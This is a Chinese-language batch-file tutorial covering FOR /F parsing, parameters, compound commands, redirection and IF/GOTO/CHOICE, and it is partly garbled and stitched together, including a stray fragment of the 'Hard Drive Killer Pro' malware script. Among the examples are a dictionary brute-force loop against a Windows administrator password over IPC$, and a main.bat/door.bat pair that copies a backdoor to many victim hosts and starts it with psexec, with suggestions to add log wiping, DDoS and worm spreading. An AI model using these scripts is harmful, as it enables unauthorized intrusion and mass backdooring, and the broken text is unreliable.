或者,如果有usebackq 选项:
FOR /F [“options”] %variable IN (file-set) DO command
FOR /F [“options”] %variable IN (“string”) DO command
FOR /F [“options”] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用For 循环。以默认方式, /F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选"options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的for 本身。这会导致额外变量名称的
格式为一个范围。通过nth 符号指定m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在fi 中使用
双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第
三个符号传递给for 程序体;用逗号和/或空格定界符号。请注意,这个for 程序体的语
句引用%i 来取得第二个符号,引用%j 来取得第三个符号,引用%k 来取得第三个符号
后
的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种
方式来使用双引号,您还需要使用usebackq 选项,否则,双引号会被理解成是用作定义
某个要分析的字符串的。
%i 专门在for 语句中得到说明, %j 和%k 是通过
tokens= 选项专门得到说明的。您可以通过tokens= 一行指定最多26 个符号,只要
不试图说明一个高于字母z 或Z 的变量。请记住, FOR 变量是单一字母、分大小写和全
局
的同时不能有52 个以上都在使用中。
您还可以在相邻字符串上使用FOR /F 分析逻辑;方法是,用单引号将括号之间的f
ilenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用FOR /F 命令来分析命令的输出。方法是,将括号之间的filenames
et 变成一个反括字符串。该字符串会被当作命令行,传递到一个子CMD.EXE ,其输出会
被
抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims” %i IN (set
) DO @echo %i
会枚举当前环境中的环境变量名称。
另外, FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号(”) ,扩充%I
%~fI - 将%I 扩充到一个完全合格的路径名
%~dI - 仅将%I 扩充到一个驱动器号
%~pI - 仅将%I 扩充到一个路径
%~nI - 仅将%I 扩充到一个文件名
%~xI - 仅将%I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将%I 扩充到文件的文件属性
%~tI - 将%I 扩充到文件的日期/时间
%~zI - 将%I 扩充到文件的大小
%~PATH:I - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个完全合格 的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将%I 扩充到一个驱动器号和路径 %~nxI - 仅将%I 扩充到一个文件名和扩展名 %~fsI - 仅将%I 扩充到一个带有短名的完整路径名 %~dpPATH:i - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个驱动器
号和路径。
%~ftzaI - 将%I 扩充到类似输出线路的DIR
在以上例子中, %I 和PATH 可用其他有效数值代替。%~ 语法
用一个有效的FOR 变量名终止。选取类似%I 的大写变量名比较易读,而且避免与不分
大
小写的组合键混淆。
以上是MS 的官方帮助,下面我们举几个例子来具体说明一下For 命令在入侵中的用途。
sample2:
利用For 命令来实现对一台目标Win2k 主机的暴力密码破解。
我们用net use \ip\ipc$ “password” /u:“administrator” 来尝试这和目标主机进行
连接,当成功时记下密码。
最主要的命令是一条: for /f i% in (dict.txt) do net use \ip\ipc$ “i%” /u:"
administrator"
用i%来表示admin 的密码, 在dict.txt 中这个取i% 的值用net use 命令来连接。然后将
程序运行结果传递给find 命令--
for /f i%% in (dict.txt) do net use \ip\ipc$ “i%%” /u:“administrator” fi
nd “: 命令成功完成”>>D:\ok.txt ,这样就ko 了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本
很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或
重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用FOR 命令时,指定变量使用%%variab
le)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat
%%i %%j %%k
tokens 的用法请参见上面的sample1,在这里它表示按顺序将victim.txt 中的内容传递
给door.bat 中的参数%i %j %k。
而cultivate.bat 无非就是用net use 命令来建立IPC$连接,并copy 木马+后门到vict
im,然后用返回码( If errorlever = )来筛选成功种植后门的主机,并echo 出来,或者e
cho 到指定的文件。
delims= 表示vivtim.txt 中的内容是一空格来分隔的。我想看到这里你也一定明白这
victim.txt 里的内容是什么样的了。应该根据%%i %%j %%k 表示的对象来排列,一般就是
ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) —
@echo off
@if “%1”=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.
bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) —
------------------- cut here then save as a batchfile(I call it door.bat)
@net use \%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ⋯⋯⋯⋯ OK
@copy windrv32.exe\%1\admin$\system32 && if not errorlevel 1 echo IP %1 U
SER %2 PWD %3 >>ko.txt
@psexec \%1 c:\winnt\system32\windrv32.exe
@psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >
ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) –
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序( Windrv32.exe ) ,P
Sexec.exe 需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS 的功能,加入定时添加用户的功能,更深入一点可以
使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到9%这九个,当有多个参数时需要用shift 来移动
,这种情况并不多见,我们就不考虑它了。
sample1: fomat.bat
@echo off
if “%1”==“a” format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos 窗口输入fomat.bat a,
呵呵,好像有点画蛇添足了~ _
sample2:
当我们要建立一个IPC连接地时候总要输入一大串命令,弄不好就打错了,所以我们
不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这
个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc “2%” /u:“3%” 注意哦,这里PASSWORD 是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了_.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令& 第二条命令[& 第三条命令…]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:>dir z: & dir c:\Ex4rch
The system cannot find the path specif IEd.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
. 2002-05-14 23:51
… 2002-05-14 23:51 14 sometips.gif
3.
Usage:第一条命令第二条命令[ 第三条命令…]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,
如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe \%1\admin$\system32 && if not errorlevel 1 echo IP %1 US
ER %2 PASS %3 >>victim.txt
四、管道命令的使用
- 命令
Usage:第一条命令第二条命令[ 第三条命令…]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix 中这种方式很常见。
sample:
time /t>>D:\IP.log
netstat -n -p tcp find “:3389”>>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下
面这个bat,以获得登录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与>>的区别在于, >会清
除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其
中的内容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下DLL 木马盛行,我们知道system32 是个捉迷藏的好地方,许多木马都削尖了脑袋
往
那里钻, DLL 马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该
目
录下的EXE 和DLL 文件作一个记录:
运行CMD-- 转换目录到system32–dir .exe>exeback.txt & dir .dll>dllback.txt
,
这样所有的EXE 和DLL 文件的名称都被分别记录到exeback.txt 和dllback.txt 中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL 木
马了.
这时我们用同样的命令将system32 下的EXE 和DLL 文件记录到另外的exeback1.txt 和
dl
lback1.txt 中,然后运行:
CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>di
ff.txt.( 用FC 命令比较前后两次的DLL 和EXE 文件,并将结果输入到ne?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Austra
lians (help me get out of here).
No.7
常用命令
echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学
起。echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@ 与echo off 相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件,执行完那条文件后将无法
执行当前文件后续命令)
pause 运行此句会暂停,显示Press any key to continue… 等待用户按任意键后继续
rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的
例:用edit 编辑a.bat 文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可
实现:将根目录中所有文件写入a.txt 中,启动UCDOS ,进入WPS 等功能。
批处理文件的内容为: 文件表示:
echo off 不显示命令行
dir c:*. >a.txt 将c 盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好显示"你好"
pause 暂停,等待按键继续
rem 使用wps 注释将使用wps
cd ucdos 进入ucdos 目录
wps 使用wps
批处理文件中还可以像C 语言一样使用参数,这只需用到一个参数表示符%。
%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从%0
到
%9,%0 表示文件名本身,字符串用%1 到%9 顺序表示。
例如, C:根目录下一批处理文件名为f.bat,内容为format %1
则如果执行C:>f a: 则实际执行的是format a:
又如C:根目录下一批处理文件的名为t.bat,内容为type %1 type %2
那么运行C:>t a.txt b.txt 将顺序地显示a.txt 和b.txt 文件的内容
此外电脑每次启动时都会寻找autoexec.bat 这条批处理文件,从而可执行一些每次开机都
要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv 等,可以使您的
电脑真正自动化。
特殊命令
if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,
你就是批处理文件的专家啦。if 表示将判断是否符合规定的条件,从而决定执行不同的
命令。有三种格式:
1、if “参数” == “字符串” 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号
)
如if “%1”==“a” format a:
2、if exist 文件名待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys
edit config.sys
3、if errorlevel 数字待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorleve
l 2 goto x2 DOS 程序运行时都会返回一个数字给DOS,称为错误码errorlevel 或称返回
码
goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if 配合使用。如:
goto end
:end
echo this is the end
标号用:字符串表示,标号所在行不被执行
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参
数, c:后应写提示可输入的字符,之间无空格。它的返回码为1234⋯⋯
如: choice /cme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
例如, test.bat 的内容如下:
@echo off
choice /cme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errotlevel 1 goto end
efrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if 语句将作出
判断, d 表示执行标号为defrag 的程序段, m 表示执行标号为mem 的程序段, e 表示执行标
号
为end 的程序段, 每个程序段最后都以goto end 将程序跳到end 标号处, 然后程序将显示g
o
od bye,文件结束。
for 循环命令,只要条件符合,它将多次执行同一命令。
格式FOR [%%f] in (集合) DO [命令]
只要参数f 在指定的集合内,则条件成立,执行命令
如果一条批处理文件中有一行:
for %%c in (.bat .txt) do type %%c
含义是如果是以bat 或txt 结尾的文件,则显示文件的内容。
autoexec.bat
DOS 在启动会自动运行autoexec.bat 这条文件,一般我们在里面装载每次必用的程序
,如: path(设置路径)、smartdrv(磁盘加速)、mouse(鼠标启动)、mscdex(光驱连接)、
doskey(键盘管理)、set(设置环境变量)等。
如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。
例如,一个典型的autoexec.bat 内容如下:
@echo off 不显示命令行
prompt g 设置提示符前有目录提示
path windows ;c:\ucdos;c:\tools 设置路径
lh c:\dos\doskey.com 加载键盘管理
lh c:\mouse\mouse.com 加载鼠标管理
lh c:\dos\smartdrv.exe 加载磁盘加速管理
lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V 加载CD-ROM 驱动
set temp=c:\temp 设置临时目
IF -EXIST
首先用记事本建立一个文件,文件内容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
在C 盘保存文件为TEST.BAT
然后执行命令
C:>TEST1.BAT
这时,如果AUTOEXEC.BAT 中有内容的话会显示出来。
接着再建立一个文件,内容如下:
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 does not exist
也保存在C 盘,文件名为TEST2.BAT
然后执行命令
C:>TEST2 AUTOEXEC.BAT
同样,如果AUTOEXEC.BAT 中有内容的话会显示出来。
说明:
1. IF EXIST 是用来测试文件是否存在的,格式为
IF EXIST [路径+文件名] 命令
2. 其中第二个文件中的%1 是参数,DOS 允许传递9 个批参数信息给批处理文件, 分别为%
1
---------%9 ,有点想实参和形参的关系, %1 是形参, AUTOEXEC.BAT 是实参。
更进一步的,建立一个名为ABC.BAT 的文件,内容如下:
IF ,%1? = = , A ? ECHO XIAO
IF ,%1? = = , B ? ECHO TIAN
IF ,%1? = = , C ? ECHO XIN
完成后运行C:>ABC.BAT A B C
屏幕上会显示C:>XIAOTIANXIA
如果执行C:>ABC.BAT A B
屏幕上会显示C:>XIAOTIAN
DOS 将一个空字符串附给参数%3。
可以将NOT 放在IF 和条件之间,指示IF 在条件为假时执行某一命令。
注意:这个命令可在DOS 下输入直接运行。
IF-ERRORLEVEL
用记事本建立一个文件XIAO.BAT ,内容如下
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:
IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
然后执行文件
C:>XIAO.BAT
如果文件拷贝成功,屏幕就会显示:成功拷贝文件
IF ERRORLEVEL 是用来测试它的上一个DOS 命令的返回值的, 注意只是上一个命令的返
回值
,因此下面的批处理文件是错误的
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:
IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
IF ERRORLEVEL = = 1 ECHO 未找到拷贝文件
IF ERRORLEVEL = = 2 ECHO 用户通过ctrl-c 中止拷贝操作
IF ERRORLEVEL = = 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL = = 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c 中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
注意:这个命令是可以在DOS 下直接输入的。
例如:
C:>XCOPY \AUTOEXEC.BAT D:
之后可以执行
C:> IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
如果成功,屏幕将显示:
成功拷贝文件
以下就是几个常用命令的返回值:
backup
出口状态意义
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c 中止备份
4 由于致命的错误使备份操作中止
diskcomp
出口状态意义
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c 中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
出口状态意义
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c 结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
出口状态意义
0 格式化成功
3 用户通过ctrl-c 中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“ proceed with format ( y/n )? ”下用户键入n 结束
xopy
出口状态意义
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c 中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误
IF STRING = = STRING
首先用记事本建立一个名为XIAO.BAT 的文件,文件内容如下:
@echo off
IF “%1” = = “A” FORMAT A:
接着执行
C:>XIAO A
屏幕上就出现是否将A :盘格式化的内容。
这个语句的格式为
IF “参数” = = " 字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
注意:要想在DOS 下直接使用,只有这样
C:> IF “A” = = “A” FORMAT A:
毫无意义。
GOTO
首先用记事本建立一个名为XIAO.BAT 的文件,文件内容如下:
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO KB
: KB
COPY C:\AUTOEXEC.BAT D:
: DONE
注意:
1. 标号前是冒号(:)
2. 标号的最后一行是: DONG
3. DOS 支持最长为八位的标号,当无法区别两个标号时,将跳转至最近的一个标号。
FOR
首先用记事本建立一个名为XIAO.BAT 的文件,文件内容如下:
@ECHO OFF
FOR %%C IN (.BAT *.TXT .SYS) DO TYPE %%C
接着执行
C:>XIAO.BAT
执行以后,屏幕上会将C:盘所有的以.BAT *.TXT *.SYS 为扩展名的文件内容显示出来,
当然不包括隐藏文件。
说明:字符%%C 表示FOR 命令变量, FOR 支持通配符